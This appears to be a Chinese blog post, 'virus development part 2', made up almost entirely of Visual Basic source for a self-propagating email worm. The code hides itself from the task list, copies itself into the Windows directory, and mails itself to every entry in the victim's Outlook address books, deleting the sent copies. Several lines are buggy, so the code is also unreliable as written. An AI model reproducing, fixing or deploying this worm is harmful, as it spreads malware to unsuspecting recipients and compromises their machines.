斌、朵♫恋 » B20061026 » 。◕‿◕。病毒开发 二。◕‿◕。
Sub Main()
'TaskVisible的功能是把程序在End Task表中除掉。
App.TaskVisible = False
'得到EXE的位置
Location = App.Path & "\" & App.EXEName & ".exe"
Location2 = App.Path & App.EXEName & ".exe"
'设目的地
DesLocation = "%windir%\Spray.exe"
DesLocation2 = "%windir%\HC.exe"
'阻止问题发生由于编写时难免会有错误
On Error Resume Next
Dim Location, Location2, DesLocation, DesLocation2
'开始复制自己
FileCopy Location, DesLocation
FileCopy Location2, DesLocation
FileCopy Location, DesLocation2
FileCopy Location2, DesLocation2
'以下就是发送mail蠕虫病毒。繁殖其实以下的代码用到了脚本编程。
Dim Var1, FilePath, FileName, FullLocation, MyApp
Dim Christmas, List, AddList, AddressListCount
Dim Merry, AdEntries, Attachs, Msg
Var1 = "True"
FilePath = App.Path
FileName = App.EXEName
FullLocation = FilePath & "\" & FileName
Set MyApp = CreateObject("Outlook.Application")
If MyApp = "Outlook" Then
Set Christmas = MyApp.GetNameSpace("HC")
Set List = Christmas.AddressLists
For Each Addresslist In List
If Addresslist.AddressEntries.Count <> 0 Then
AddressListCount = Addresslist.AddressEntries.Count
For AddList = 1 To AddressListCount
Set Merry = MyApp.CreateItem(0)
Set AdEntries = Addresslist.AddressEntries(AddList)
Merry.To = AdEntries.Address
Merry.Subject = "警告!"
Merry.Body = "这只是无聊练手的小病毒!by Spray"
Set Attachs = Merry.Attachments
Attachs.Add FullLocation
If Var1 = "true" Then
Merry.DeleteAfterSubmit = True
If Msg.To <> "" Then
Merry.send
End If
End If
Next
Beep
End If
Next
End If
Dim Reg
Set Reg = CreateObject("wscript.Shell")
End Sub
发表评论: